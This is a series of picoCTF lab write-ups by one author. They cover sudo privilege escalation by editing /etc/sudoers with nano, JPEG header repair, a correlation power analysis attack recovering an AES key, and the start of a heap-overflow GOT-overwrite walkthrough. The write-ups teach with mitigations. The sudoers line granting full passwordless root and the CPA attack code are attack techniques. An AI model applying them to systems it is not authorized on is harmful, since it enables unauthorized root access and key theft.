DEV Community: Vedant Kulkarni

CTF Lab Writeup: ABSOLUTE NANO

Vedant Kulkarni — Mon, 15 Jun 2026 09:31:32 +0000

PicoCTF Challenge | Difficulty: Beginner-Intermediate | Category: Privilege Escalation

1. Executive Summary

Challenge Name: ABSOLUTE NANO
Platform: PicoCTF
Category: Linux Privilege Escalation
Core Vulnerability: Sudo Misconfiguration — Unrestricted write access to /etc/sudoers via nano
Flag: picoCTF{n4n0_411_7h3_w4y_3dc38f6f}

This challenge teaches one of the most fundamental and real-world-relevant privilege escalation techniques in Linux security: abusing misconfigured sudo permissions. The attacker is provided with SSH access to a remote Linux machine as a low-privilege user. The flag is stored in a file readable only by root. However, through careful enumeration of sudo permissions, we discover that nano can be used as root to edit the system's own security policy file — effectively allowing us to grant ourselves unrestricted administrative access.

💡 Big Picture Takeaway: Just because a user is given access to a "simple" tool like a text editor doesn't mean it's safe. If that editor can modify system configuration files, the user effectively has root.

2. Reconnaissance & Enumeration

2.1 Establishing the SSH Connection

The challenge provides us with:

Host: crystal-peak.picoctf.net
Port: 50662
User: ctf-player
Password: e031ef27

We connect using:

ssh -p 50662 ctf-player@crystal-peak.picoctf.net

Breaking Down the Command:

Component	Meaning
`ssh`	Secure Shell — encrypted remote login protocol
`-p 50662`	Specifies a non-standard port (default SSH is port 22). The challenge uses a custom port because it runs alongside other CTF instances.
`ctf-player@crystal-peak.picoctf.net`	Username `ctf-player` at the given hostname

🧠 Why SSH and not something else? The challenge explicitly provides SSH credentials. SSH is the standard, secure method for remote Linux shell access. There is no web interface or other service mentioned, so we go directly to the shell.

2.2 Initial Directory Enumeration

Once logged in, the very first thing any good penetration tester or CTF player does is understand their immediate environment. We run:

ls -al

Breaking Down the Command:

Flag	Meaning
`ls`	Lists directory contents
`-a`	Shows all files, including hidden ones (files starting with `.`)
`-l`	Long format — shows permissions, owner, group, size, and modification date

Output:

total 16
drwxr-xr-x 1 ctf-player ctf-player   20 Jun  5 07:48 .
drwxr-xr-x 1 root       root         24 Feb  4 22:26 ..
-rw-r--r-- 1 ctf-player ctf-player  220 Feb 25  2020 .bash_logout
-rw-r--r-- 1 ctf-player ctf-player 3771 Feb 25  2020 .bashrc
drwx------ 2 ctf-player ctf-player   34 Jun  5 07:48 .cache
-rw-r--r-- 1 ctf-player ctf-player  807 Feb  25 2020 .profile
-r--r----- 1 root       root         35 Feb  4 22:26 flag.txt

Analyzing the Output — The Critical Line:

-r--r----- 1 root root 35 Feb 4 22:26 flag.txt

Let's decode those permissions character by character:

- r -- r -- ---
│ │    │    └── Others: NO permissions
│ │    └─────── Group (root): Read only
│ └──────────── Owner (root): Read only
└────────────── Regular file (not a directory)

🚫 What this means for us: Our user ctf-player is neither root nor in the root group. We fall into the "Others" category, which has zero permissions. We cannot cat, less, more, or open flag.txt in any conventional way.

The Road Not Taken:

You might be tempted to try cat flag.txt immediately. Go ahead — it teaches you something. You'll get Permission denied. This confirms we need to escalate our privileges before we can read the file. Brute-forcing the password, looking for SUID binaries, or checking for cron jobs are all valid escalation vectors, but we haven't enumerated our sudo rights yet — which is always the fastest and most targeted check.

2.3 Sudo Privilege Enumeration

The single most important enumeration command on a Linux CTF machine (and in real-world penetration testing) is:

sudo -l

Breaking Down the Command:

Component	Meaning
`sudo`	"Superuser Do" — runs commands with elevated privileges
`-l`	List — shows what commands the current user is permitted to run via sudo

Output:

Matching Defaults entries for ctf-player on challenge:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin

User ctf-player may run the following commands on challenge:
    (ALL) NOPASSWD: /bin/nano /etc/sudoers

This output is the KEY to the entire challenge. Let's dissect it completely:

(ALL) NOPASSWD: /bin/nano /etc/sudoers
 │        │         │           └── The specific FILE nano is allowed to open
 │        │         └────────────── The specific BINARY allowed to run
 │        └──────────────────────── No password required to execute this
 └───────────────────────────────── Can run AS any user (including root)

🔑 Translation: The user ctf-player can run nano as root, without a password, but only to open the file /etc/sudoers.

What is /etc/sudoers?
The /etc/sudoers file is the master security policy document for the Linux sudo system. It defines:

Which users can run which commands
Whether a password is required
Which users they can impersonate

⚠️ The Critical Insight: If you can edit the security policy as root, you can write any rule you want into it — including granting yourself unlimited access. This is like being given a pen and told you can only use it to fill in your name on a legal contract... but then discovering no one is watching what you write.

3. Initial Foothold & Privilege Escalation

📝 Note: In this challenge, the initial foothold (SSH access) and privilege escalation are tightly coupled. The "foothold" is the SSH shell, and the escalation happens immediately after through sudo abuse.

3.1 Opening the Sudoers File with Nano

We execute our allowed sudo command:

sudo /bin/nano /etc/sudoers

Why the full path /bin/nano and not just nano?
The sudo rule specifies the exact binary path /bin/nano. Using just nano might resolve to a different path depending on the environment and could be rejected by sudo. Always match the exact path specified in the sudo -l output.

The sudoers file contents we see:

# This file MUST be edited with the 'visudo' command as root.
#
Defaults        env_reset
Defaults        mail_badpass
Defaults        secure_path="..."

# User privilege specification
root    ALL=(ALL:ALL) ALL

🧠 Understanding the existing rule format:

root  ALL=(ALL:ALL)  ALL
 │     │    │    │    └── Can run ALL commands
 │     │    │    └─────── As any GROUP
 │     │    └──────────── As any USER
 │     └───────────────── On ALL hosts
 └─────────────────────── Applied to user: root

3.2 Modifying the Sudoers File

Inside the nano editor, we navigate to the bottom of the file using the arrow keys and add the following line:

ctf-player ALL=(ALL:ALL) NOPASSWD: ALL

What this line does:

Component	Meaning
`ctf-player`	Apply this rule to our current user
`ALL=`	On all hosts
`(ALL:ALL)`	Can impersonate any user and any group
`NOPASSWD:`	No password prompt required
`ALL`	Permission to run every single command

Saving in Nano:

Ctrl+O → Write Out (Save). Press Enter to confirm the filename.
Ctrl+X → Exit the editor and return to the shell.

⚠️ The Road Not Taken — Why Not Use visudo?
The comment at the top of the file warns: "This file MUST be edited with the 'visudo' command as root." The visudo command is the safe way to edit sudoers because it validates the syntax before saving, preventing a broken sudoers file that could lock everyone out of sudo. However, visudo is not what we have permission to run — only nano is. Nano has no syntax validation, so we must be careful to type our rule exactly correctly. In a CTF context, this is fine. In a real system, a typo here could be catastrophic.

3.3 Reading the Flag

Now that our user has been granted unrestricted sudo access, we simply run:

sudo cat flag.txt

Breaking Down the Command:

Component	Meaning
`sudo`	Execute the following command as root
`cat`	Concatenate and print file contents to the terminal
`flag.txt`	The target file in the current directory

Output:

picoCTF{n4n0_411_7h3_w4y_3dc38f6f}

Flag captured! ✅

🧠 Decoding the Flag (Fun Leet-Speak Translation):
n4n0_411_7h3_w4y → nano all the way
A clever nod to the challenge's concept — nano was the key to everything.

4. Full Exploitation Chain (Visual Summary)

SSH Login (low-privilege shell)
          │
          ▼
    ls -al → flag.txt exists but is ROOT-OWNED
          │
          ▼
    sudo -l → nano allowed on /etc/sudoers as root
          │
          ▼
    sudo /bin/nano /etc/sudoers → Edit security policy
          │
          ▼
    Add: ctf-player ALL=(ALL:ALL) NOPASSWD: ALL
          │
          ▼
    sudo cat flag.txt → FLAG RETRIEVED ✅

5. Lessons Learned & Mitigation

5.1 For the Attacker (Offensive Takeaways)

Lesson	Detail
Always run `sudo -l` first	It is the fastest, quietest privilege escalation check available on Linux
Text editors are dangerous with elevated privileges	nano, vim, vi, emacs — all can read/write arbitrary files and even spawn shells
GTFOBins is your friend	The website gtfobins.github.io catalogs exactly how tools like nano can be abused for privilege escalation
Configuration files = power	Any tool that can write to `/etc/sudoers`, `/etc/passwd`, or cron jobs effectively gives root access

5.2 For the Defender (Blue Team Mitigations)

Vulnerability 1: Unrestricted Write Access to /etc/sudoers

🔴 The Problem: Granting any user the ability to write to /etc/sudoers — even through a restricted tool — is equivalent to giving them root.

✅ Fix: Never grant write access to /etc/sudoers through sudo. If delegation is needed, use /etc/sudoers.d/ with extremely narrowly scoped rules (specific commands, specific arguments, specific paths). Even then, avoid editors.

# BAD — Never do this
ctf-player ALL=(ALL) NOPASSWD: /bin/nano /etc/sudoers

# BETTER — Only allow a specific, non-destructive read-only action
ctf-player ALL=(ALL) NOPASSWD: /bin/cat /var/log/app.log

Vulnerability 2: No Detection/Alerting on Sudoers Modification

🔴 The Problem: Even if this happened on a real system, there was no monitoring to detect the unauthorized change.

✅ Fix (Detection): Implement file integrity monitoring (FIM) on critical files:

# Using auditd to monitor /etc/sudoers for any write operations
auditctl -w /etc/sudoers -p wa -k sudoers_change

This creates an audit log entry any time /etc/sudoers is written (w) or its attributes change (a), tagged with the key sudoers_change for easy log searching.

✅ Fix (Hardening): Use tools like AIDE or Tripwire for file integrity monitoring, or deploy a SIEM (like Splunk or ELK) to alert on unexpected privilege changes.

5.3 Key Conceptual Takeaways for Beginners

1. ENUMERATION IS EVERYTHING
   Never skip sudo -l, id, whoami, find / -perm -4000, 
   and cron job checks when you land on a Linux machine.

2. TOOLS ARE NOT INHERENTLY SAFE
   A text editor with root privileges IS a root shell.
   Always think: "What can this tool WRITE to?"

3. THE PRINCIPLE OF LEAST PRIVILEGE
   Users should only have the exact permissions they need — 
   nothing more. This challenge is a perfect example of 
   what happens when this principle is violated.

4. CHECK GTFOBINS
   For any binary you find in sudo -l or with SUID bits,
   check gtfobins.github.io immediately. It will tell you
   exactly how to exploit it.

Writeup authored using a systematic, iterative CTF methodology. Every command was justified, every output was analyzed, and every decision was evidence-based.

CTF Writeup: Corrupted File — picoCTF

Vedant Kulkarni — Sat, 06 Jun 2026 16:56:12 +0000

Category: Forensics
Difficulty: Easy
Flag: picoCTF{r3st0r1ng_th3_by73s_939a65f5}

My First Impression

So I came across this challenge called "Corrupted File" and honestly the description was pretty straightforward — "This file seems broken... or is it? Maybe a couple of bytes could make all the difference."

The hint mentioned JPEG and tools like xxd or hexdump. That was enough for me to get started. I downloaded the file and immediately noticed it had no extension, which is pretty common in CTF challenges. They want you to figure out what the file actually is.

Step 1 — Downloading the File

First things first, I grabbed the file using wget:

wget https://challenge-files.picoctf.net/c_amiable_citadel/8646393bf40c0026e51065e57963b604edf0a9a73371e01d1af2865c050d3e68/file -O corrupted_file

The download went fine. Got an 8.56KB file saved as corrupted_file. Nothing special yet.

Step 2 — Peeking at the Header

This is where things got interesting. The hint literally said to check the file header, so I used xxd to look at the first 16 bytes:

xxd -l 16 corrupted_file

Output:

00000000: 5c78 ffe0 0010 4a46 4946 0001 0100 0001  \x....JFIF......

Okay so I immediately spotted something wrong. Let me break this down simply:

Every JPEG file in existence starts with the magic bytes FF D8
But this file started with 5C 78 which translates to \x in ASCII
Everything after those first two bytes looked perfectly normal — you can even see JFIF sitting right there which is a dead giveaway that this is supposed to be a JPEG

So basically someone (or something) replaced the first two bytes of the file with garbage. That's the entire corruption — just two bytes out of place.

A Quick Explanation of Magic Bytes

If you're new to this concept, here's a simple way to think about it:

Every file format has a kind of "secret handshake" stored at the very beginning of the file. Your operating system and applications read these first few bytes to figure out what type of file they're dealing with — before even looking at the file extension.

For JPEG files specifically, the first two bytes are always FF D8. This is called the SOI (Start of Image) marker. If those bytes are wrong, your image viewer will just say "I don't know what this is" and refuse to open it.

Step 3 — Fixing the Corruption

Now that I knew exactly what needed fixing, the repair was simple. I used dd combined with printf to overwrite just those two broken bytes:

printf '\xff\xd8' | dd of=corrupted_file bs=1 seek=0 count=2 conv=notrunc

Let me explain what each part does:

printf '\xff\xd8' — creates the correct JPEG magic bytes
dd of=corrupted_file — writes to our file
bs=1 — work one byte at a time
seek=0 — start at the very beginning of the file
count=2 — only write 2 bytes
conv=notrunc — this is important — it means don't delete the rest of the file, just overwrite those specific bytes

Output confirmed:

2+0 records in
2+0 records out
2 bytes copied, 5.1539e-05 s, 38.8 kB/s

Step 4 — Verifying the Fix

Before doing anything else I wanted to make sure the fix actually worked. So I ran:

file corrupted_file && xxd -l 16 corrupted_file

Output:

corrupted_file: JPEG image data, JFIF standard 1.01, aspect ratio, 
density 1x1, segment length 16, baseline, precision 8, 800x500, components 3

00000000: ffd8 ffe0 0010 4a46 4946 0001 0100 0001  ......JFIF......

The first two bytes are now FF D8 — exactly what they should be. The file command is now correctly identifying it as a JPEG image with dimensions 800x500. The repair worked perfectly.

Step 5 — Looking for Hidden Stuff

At this point the file looked fine, but in CTF challenges you never just assume. I did a few extra checks to make sure there wasn't anything hidden inside:

Checking for readable strings:

strings corrupted_file | grep -E "flag|picoCTF|CTF"

No output. The flag wasn't hidden as plain text.

Checking the end of the file:

tail -c 16 corrupted_file | xxd

Output:

00000000: 8a00 28a2 8a00 28a2 8a00 28a2 8a00 ffd9  ..(...(...(.....

File ends with FF D9 which is the JPEG EOI (End of Image) marker. Clean ending, nothing appended after it.

Checking for embedded files:

binwalk corrupted_file

Output:

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             JPEG image data, JFIF standard 1.01

Just a single JPEG. No hidden zips, no embedded files, nothing sneaky.

Checking metadata:

exiftool corrupted_file

This showed normal image metadata — dimensions, color space, encoding. Nothing hidden there either.

Step 6 — Getting the Flag

With the file fully repaired and verified, I opened it as an image using Python and OCR:

cp corrupted_file flag.jpg && python3 -c "
from PIL import Image
import pytesseract
img = Image.open('flag.jpg')
text = pytesseract.image_to_string(img)
print(text)
"

And there it was, printed right on the image:

picoCTF{r3st0r1ng_th3_by73s_939a65f5}

What I Learned From This

This challenge was a great introduction to file forensics and the concept of magic bytes. Here are the main takeaways:

1. Never trust the file extension
Always check the actual bytes of a file. Extensions can be changed or missing entirely. The content of the file tells the real story.

2. xxd is your best friend
Learning to read hex dumps is a genuinely useful skill. Once you know the magic bytes of common formats (JPEG, PNG, PDF, ZIP etc.), you can diagnose corruption very quickly.

3. Surgical edits with dd
You don't need a fancy hex editor to fix a file. The dd command lets you overwrite specific bytes at specific offsets without touching anything else. Very powerful tool.

4. Always do extra checks
Even when a fix seems obvious, always verify it worked and check for anything else that might be hiding in the file. binwalk, strings, and exiftool are quick to run and can save you a lot of time.

Quick Reference — Common Magic Bytes

Since this challenge is all about file signatures, here's a handy reference:

File Type	Magic Bytes (Hex)
JPEG	`FF D8 FF`
PNG	`89 50 4E 47`
PDF	`25 50 44 46`
ZIP	`50 4B 03 04`
GIF	`47 49 46 38`
ELF (Linux binary)	`7F 45 4C 46`

Tools Used

wget — downloading the file
xxd — hex inspection
dd + printf — binary patching
file — file type identification
strings — plaintext extraction
binwalk — embedded file detection
exiftool — metadata analysis
pytesseract — OCR to read the flag from the image

This was a fun and clean challenge. Two broken bytes, one quick fix, flag retrieved. If you're just getting into forensics CTF challenges, this is honestly a perfect starting point.

CTF Lab Writeup: PowerAnalysis Part 2 (picoCTF)

Vedant Kulkarni — Thu, 04 Jun 2026 07:37:18 +0000

1. Executive Summary

Field	Details
Challenge Name	PowerAnalysis: Part 2
Platform	picoCTF
Category	Cryptography / Side-Channel Analysis
Difficulty	Hard
Primary Technique	Correlation Power Analysis (CPA)
Tools Used	Python 3, NumPy
Flag	`picoCTF{b7698f76b7e524ee7cd80dbde0cdff59}`

What Was This Challenge About?

This challenge placed us in the role of a hardware security researcher attacking a physical embedded system. The system was running AES-128 encryption — one of the most mathematically unbreakable symmetric encryption algorithms in existence. You could encrypt a trillion plaintexts with a trillion computers and never brute-force the key through mathematics alone.

But here's the critical insight that makes this challenge fascinating: we didn't attack the math. We attacked the physics.

The device leaked information about its secret key through its power consumption while it computed. By carefully measuring how much electricity the CPU drew at precise moments and applying statistics, we recovered all 16 bytes of the secret key. This is called a Side-Channel Attack, and it is one of the most powerful and practically relevant attack classes in modern cryptography.

2. Reconnaissance & Enumeration

2.1 Understanding What We Were Given

Before writing a single line of code, we needed to understand the shape of our data. This is the reconnaissance phase of a side-channel attack — analogous to running nmap before exploiting a web server.

We started by downloading and extracting the archive:

wget https://artifacts.picoctf.net/c/319/traces.zip && unzip traces.zip && ls -R

Breaking down this command:

wget <url> — Downloads the file from the remote server. We used wget over curl here because wget automatically saves to disk by default, which is cleaner for binary files like .zip archives.
unzip traces.zip — Extracts the archive. No special flags needed since there is no password and we want the default behavior (extract to current directory).
ls -R — Lists files recursively (-R), so we can see the contents of the newly extracted traces/ subdirectory in one command.

What we found:

./traces:
trace00.txt  trace01.txt  ...  trace99.txt

100 text files. That's our dataset. Now we needed to know what was inside them.

2.2 Inspecting the Trace Format

head -5 traces/trace00.txt && echo "---" && wc -l traces/trace00.txt && echo "---" && awk 'NR==1{print NF, "fields on line 1"}' traces/trace00.txt

Breaking down this command:

head -5 — Shows the first 5 lines. We used 5 rather than the full file because power trace files can be enormous. We only need to see the structure, not all the data.
&& — Chains commands, executing the next only if the previous succeeded. This is safer than using ; which runs regardless of success.
echo "---" — A visual separator. Small habit, big readability improvement.
wc -l — Counts the number of lines in the file (-l). This tells us if data is stored row-by-row or as one large blob.
awk 'NR==1{print NF}' — NR==1 means "on the first record (line)", NF prints the number of fields (space-delimited columns). This told us if the first line had multiple values or just one.

What we learned:

Plaintext: bdb5cd7a1014d46ed2fa6bc60f166df9
Power trace: [51, 66, 81, 84, 91, ...]
---
2 lines total
---
2 fields on line 1

Each file has exactly 2 lines:

Line 1: Plaintext: <32 hex characters> — the 16-byte input to the AES encryption
Line 2: Power trace: [int, int, int, ...] — the power consumption over time, measured in arbitrary units

💡 Why does this structure matter? In CPA, we need two things for every encryption: the known plaintext (so we can make hypotheses about the internal key operations) and the measured power trace (the physical side-channel evidence). This file gives us both, paired together.

2.3 Verifying Data Integrity and Alignment

python3 -c "
import re, glob
lengths = []
for fn in sorted(glob.glob('traces/trace*.txt')):
    with open(fn) as f:
        lines = f.readlines()
    trace = list(map(int, re.findall(r'\d+', lines[1])))
    lengths.append(len(trace))
print('Trace files:', len(lengths))
print('Min length:', min(lengths))
print('Max length:', max(lengths))
"

Why this step was critical:

CPA works by computing column-wise statistics across all traces. This means trace sample #437 from trace00.txt is compared against sample #437 from all other traces. If traces had different lengths, our matrix math would fail.

Result: All 100 traces had exactly 2666 samples. Perfect alignment confirmed. We could proceed directly to the attack without any preprocessing.

⚠️ Common Rabbit Hole: Beginners sometimes jump straight into writing attack code without verifying data integrity. If even one trace had a different length or was corrupted, the entire NumPy matrix operation would either crash or — worse — produce silently wrong results.

3. The Exploit: Correlation Power Analysis

3.1 The Conceptual Foundation — Why Does Hardware Leak Secrets?

Before we write a single line of attack code, we must understand why this attack is even possible. This is the most important conceptual leap in the entire writeup.

The Physics of CMOS Transistors:

Modern CPUs are built from billions of CMOS (Complementary Metal-Oxide-Semiconductor) transistors. These transistors switch between logical 0 and 1 states. A critical property of this technology: transistors consume significantly more power when their output transitions from 0→1 or 1→0 than when they hold a stable state.

This means the instantaneous power draw of a CPU is correlated with how many bits are changing in the data it is processing at that moment. Specifically, the power consumption correlates with the Hamming Weight — the number of 1 bits — of the intermediate values being computed.

Data value 0x00 = 00000000 → HW = 0 → Low power draw
Data value 0xFF = 11111111 → HW = 8 → High power draw
Data value 0x0F = 00001111 → HW = 4 → Medium power draw

The AES S-Box Connection:

AES encryption begins its first round with a step called SubBytes, where each byte of the plaintext XORed with the key is passed through a fixed lookup table called the S-Box:

S-Box output = SBOX[ Plaintext_byte XOR Key_byte ]

The CPU computes this S-Box lookup for all 16 key bytes right at the start of encryption. If we can observe the power consumption at the exact moment the CPU processes each S-Box output, and if that power consumption correlates with the Hamming Weight of the S-Box output, then we can work backwards to find the key.

3.2 The CPA Attack Strategy

Here's the attack logic for one key byte (we repeat it 16 times):

For each possible key byte guess k (0x00 to 0xFF = 256 guesses):
  For each of our 100 traces:
    Compute: hypothesis = HW( SBOX[ plaintext_byte XOR k ] )

  Now we have a vector of 100 hypothetical power values.
  Correlate this vector against our 100 actual power measurements
  at each of the 2666 time samples.

  The correct k will produce a HIGH correlation at the exact time
  sample when the CPU was computing that S-Box output.
  Wrong guesses of k will produce near-zero (random) correlation.

This is elegant because:

We never need to know when exactly the S-Box is computed — the correlation peak tells us
We test all 256 possibilities and let statistics pick the winner
Each key byte is recovered independently, so the 128-bit key space (2^128, astronomically large) reduces to 16 × 256 = 4096 guesses — trivially small

3.3 The Attack Code — Full Breakdown

import re, glob, numpy as np

re — Regular expressions, used for parsing the power trace values out of the bracketed list format
glob — File pattern matching, lets us load all trace*.txt files elegantly
numpy — Numerical Python. This is the key tool. NumPy lets us operate on entire arrays simultaneously, turning what would be a slow nested Python loop into fast vectorized math.

💡 Why NumPy over plain Python loops? A naive Python implementation iterating through all 256 key guesses × 100 traces × 2666 samples would require ~68 million iterations. NumPy's vectorized operations perform this at near-C speed. The difference is seconds vs. potentially hours.

The AES S-Box:

SBOX = [0x63, 0x7c, 0x77, ...]  # 256 values

This is the standard AES SubBytes lookup table — publicly known and fixed by the AES standard. There's no need to compute it; we hardcode it. The attacker's advantage is that this table is known, so we can predict what value should come out for any given (plaintext, key_guess) pair.

The Hamming Weight Function:

def hw(v):
    return bin(v).count('1')

bin(v) — Converts an integer to its binary string representation (e.g., bin(7) → '0b111')
.count('1') — Counts the number of 1 bits

This is our power model — the mathematical bridge between the data being processed and the expected power consumption.

Loading the Data:

traces = np.array(traces, dtype=np.float64)  # shape: (100, 2666)

We load all traces into a 2D NumPy array with shape (100, 2666). Think of this as a spreadsheet where:

Each row is one encryption measurement (100 rows = 100 encryptions)
Each column is one time sample (2666 columns = 2666 moments in time)

Using float64 (64-bit floating point) is important because Pearson correlation involves division and subtraction that can lose precision with integer types.

The Core CPA Loop:

for byte_idx in range(16):          # For each of the 16 key bytes
    for k in range(256):            # For each of 256 possible key values
        hyp = np.array([hw(SBOX[plaintexts[t][byte_idx] ^ k]) 
                        for t in range(N_traces)])

byte_idx — Which position in the 16-byte key we are currently attacking (0 through 15)
k — Our key byte guess (0 through 255)
plaintexts[t][byte_idx] — The byte_idx-th byte of the plaintext used in trace t
^ k — XOR with our guess (this is what AES does internally before the S-Box)
SBOX[...] — Look up the S-Box output (the intermediate value the CPU processed)
hw(...) — Our power model: convert to Hamming Weight

This produces hyp, a vector of 100 values — one predicted power value per trace.

Pearson Correlation:

cov = ((traces - trace_mean) * (hyp - hyp_mean)[:, None]).mean(axis=0)
corr = np.abs(cov / (hyp_std * trace_std + 1e-12))

The Pearson correlation coefficient measures how linearly related two variables are:

Output of +1.0 → Perfect positive correlation
Output of 0.0 → No correlation (random)
Output of -1.0 → Perfect negative correlation

We take the absolute value because the leakage could be positively or negatively correlated depending on the hardware implementation.

Breaking down the vectorized math:

traces - trace_mean — Centers each column of the trace matrix (subtracts column mean). Shape: (100, 2666)
hyp - hyp_mean — Centers our hypothesis vector. Shape: (100,)
[:, None] — Reshapes it to (100, 1) so NumPy can broadcast it across all 2666 columns simultaneously. This is the key efficiency trick.
.mean(axis=0) — Averages across rows (the 100 traces), giving us one covariance value per time sample. Shape: (2666,)
/ (hyp_std * trace_std) — Normalizes to get the correlation coefficient. The + 1e-12 prevents division by zero.

The result corr is a vector of 2666 correlation values — one per time sample. We take corr.max() to find the single highest correlation point across all time samples.

Winner Selection:

if max_corr > best_corr:
    best_corr = max_corr
    best_k = k

The key guess k that produced the highest peak correlation across all 2666 time samples is declared the winner for that byte position.

3.4 Results

Byte 00: 0xb7  (max_corr=0.6176)
Byte 01: 0x69  (max_corr=0.5610)
Byte 02: 0x8f  (max_corr=0.6953)
...
Byte 15: 0x59  (max_corr=0.6319)

Recovered key: b7698f76b7e524ee7cd80dbde0cdff59
Flag: picoCTF{b7698f76b7e524ee7cd80dbde0cdff59}

All 16 bytes showed correlation values between 0.51 and 0.70. In side-channel analysis, any correlation above approximately 0.3 is considered statistically significant with 100 traces. Values in the 0.5-0.7 range indicate clean, reliable leakage — the attack worked decisively.

3.5 The Roads Not Taken — What We Deliberately Avoided

This section is crucial. Understanding what not to do is as important as understanding the solution.

❌ Brute-Force the AES Key:

AES-128 has a key space of 2^128 ≈ 3.4 × 10^38 possible keys. Even if you could test one billion keys per second, it would take longer than the age of the universe. This is why AES is used worldwide. The math is unbreakable. This path was never viable.

❌ Simple Power Analysis (SPA):

SPA looks at a single trace and tries to read the key directly from the power waveform by identifying visually distinct operations. This works against some naive RSA implementations where you can see the difference between squaring and multiply operations. Against AES with its repeated, uniform structure and measurement noise, SPA is not effective with limited traces. CPA's statistical approach is far more robust.

❌ Template Attacks:

Template attacks are more powerful than CPA but require a profiling phase where the attacker has a clone device they fully control. Since we only had a target device with limited measurements and no profiling capability, template attacks were not applicable here.

❌ Attacking Later AES Rounds:

We targeted the first round S-Box because this is the point where the relationship between our known plaintext and the secret key is simplest: SBOX[plaintext XOR key]. Attacking later rounds requires knowing partial results from previous rounds, which complicates the hypothesis model significantly. Always start with the first or last round.

❌ Using All 2666 Time Samples for Selection:

One might consider averaging across all time samples rather than taking the peak. This would actually dilute the signal — only a small window of samples contains the leakage from the S-Box operation. The peak correlation naturally finds that window.

4. "Privilege Escalation" — Scaling the Attack

In traditional CTF writeups, this section covers moving from user to root. In a side-channel context, our equivalent challenge was: "What if 100 traces weren't enough? How would we handle more noise?"

The challenge hint warned: "You will need to figure out how to deal with the noise."

Noise Mitigation Strategies (Ordered by Complexity)

Strategy	How It Works	When to Use
More Traces	More data → better statistical signal	Always the first resort
Averaging	Average multiple encryptions of the same plaintext	When you control the device
Bandpass Filtering	Remove high/low frequency noise with FFT	When noise has known frequency characteristics
Principal Component Analysis (PCA)	Dimensionality reduction to isolate leakage points	When traces are very noisy or misaligned
Trace Alignment	Cross-correlate traces to fix timing jitter	When device has random delays as countermeasure

In our case, 100 traces with Pearson CPA was sufficient because:

The leakage model (Hamming Weight of S-Box output) matched the actual hardware leakage well
The traces were perfectly aligned (no jitter)
The noise level, while present, was not extreme (correlation peaks still reached 0.5+)

5. Lessons Learned & Mitigation

5.1 Key Takeaways for Attackers (Blue Team Awareness)

Lesson	Explanation
Math ≠ Security	AES is mathematically unbreakable, but its physical implementation is not. Security requires both algorithmic and implementation soundness.
Statistics is a weapon	Pearson correlation across 100 measurements extracted a 128-bit secret. Statistics can defeat randomness when patterns are present.
Known intermediate values are dangerous	CPA only works because we knew the plaintext. Preventing the attacker from knowing inputs or outputs closes this vector.
The leakage model is the key insight	Choosing `HW(SBOX[pt XOR k])` as our model was the critical hypothesis. A wrong model would yield zero correlation even with infinite traces.

5.2 Defensive Mitigations

🛡️ Defense 1: Masking (Software Countermeasure)

The most widely deployed defense against CPA is masking. Instead of computing SBOX[plaintext XOR key] directly, the device computes:

masked_input  = plaintext XOR key XOR random_mask
masked_output = SBOX[masked_input] XOR f(random_mask)

The random mask changes every encryption. Now the attacker's hypothesis HW(SBOX[pt XOR k]) no longer matches the actual intermediate value — the mask randomizes it. CPA correlation drops to zero because the leakage is now uniformly random from the attacker's perspective.

Detection for Blue Teams: Monitor firmware update mechanisms on embedded devices. Removing or patching masking countermeasures is a common attack vector against hardware security modules (HSMs).

🛡️ Defense 2: Hiding (Hardware Countermeasure)

Hiding makes it harder to measure the leakage rather than eliminating the leakage itself:

Noise injection circuits — Add random electronic noise to the power supply rails
Clock jitter — Randomize the CPU clock slightly so S-Box operations don't always occur at the same time sample, breaking trace alignment
Dual-rail logic — Use circuit designs where every operation always switches the same number of transistors regardless of data value (zero Hamming Weight correlation by design)

Blue Team Note: Physical security of embedded devices matters. An attacker needs physical access to the power rails to measure traces. Tamper-evident enclosures, potting (encasing in epoxy), and active tamper-response circuits (that zero memory on detection) are practical hardware countermeasures deployed in payment terminals, smart cards, and HSMs.

5.3 Real-World Relevance

This attack is not theoretical. CPA has been demonstrated against:

Smart cards (credit/debit cards using EMV)
Hardware Security Modules (HSMs used in banking)
Automotive ECUs (engine control units storing cryptographic keys)
IoT devices (smart locks, industrial sensors)
Cryptocurrency hardware wallets

The academic paper that formalized this attack — "Differential Power Analysis" by Kocher, Jaffe, and Jun (1999) — fundamentally changed how the hardware security industry thought about cryptographic implementations. Every payment card manufactured today includes some form of power analysis countermeasure as a direct result.

This writeup was produced as part of the picoCTF PowerAnalysis: Part 2 challenge. The techniques described are for educational purposes in authorized security research and CTF competitions only.

CTF Lab Writeup: Heap Havoc

Vedant Kulkarni — Wed, 03 Jun 2026 08:13:07 +0000

1. Executive Summary

Challenge: Heap Havoc
Category: Binary Exploitation
Platform: picoCTF
Flag: picoCTF{h34p_0v3rfl0w_ee4e60c2}

This challenge presented a 32-bit Linux ELF binary that accepted two command-line arguments as names. Beneath its innocent surface lay a classic heap buffer overflow vulnerability caused by the unsafe use of strcpy() into a fixed-size heap-allocated buffer.

The exploit chain involved:

Overflowing the first heap buffer to corrupt an adjacent heap pointer
Weaponizing the program's own second strcpy() call as a write-what-where primitive
Overwriting the Global Offset Table (GOT) entry for puts() with the address of a hidden winner() function
Triggering a call to puts(), which now jumped to winner() and printed the flag

Primary Vulnerabilities:

Unbounded strcpy() into a heap buffer (no length check)
Writable GOT due to Partial RELRO
No stack canary, no PIE — fixed, predictable memory addresses

This writeup is designed to teach you not just what we did, but exactly why, including the dead ends we avoided along the way.

2. Reconnaissance & Enumeration

2.1 Understanding What We're Dealing With — `file`

Before touching any exploitation tool, we always want to understand the binary at a fundamental level. The file command reads the ELF header and reports critical metadata.

file vuln

Output:

vuln: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV),
dynamically linked, interpreter /lib/ld-linux.so.2,
BuildID[sha1]=108856df2d26e74aacfc1784d9c06d0aacceb988,
for GNU/Linux 3.2.0, not stripped

Breaking it down — what each piece tells us:

Field	Value	Why It Matters
`ELF 32-bit LSB`	32-bit little-endian binary	Addresses are 4 bytes wide; we pack them in little-endian byte order
`Intel 80386`	x86 architecture	Determines calling conventions and register names
`dynamically linked`	Uses shared libraries (libc, etc.)	The GOT/PLT mechanism exists and is potentially exploitable
`not stripped`	Symbol names are preserved	Function names like `winner()` are visible in the binary — a huge help

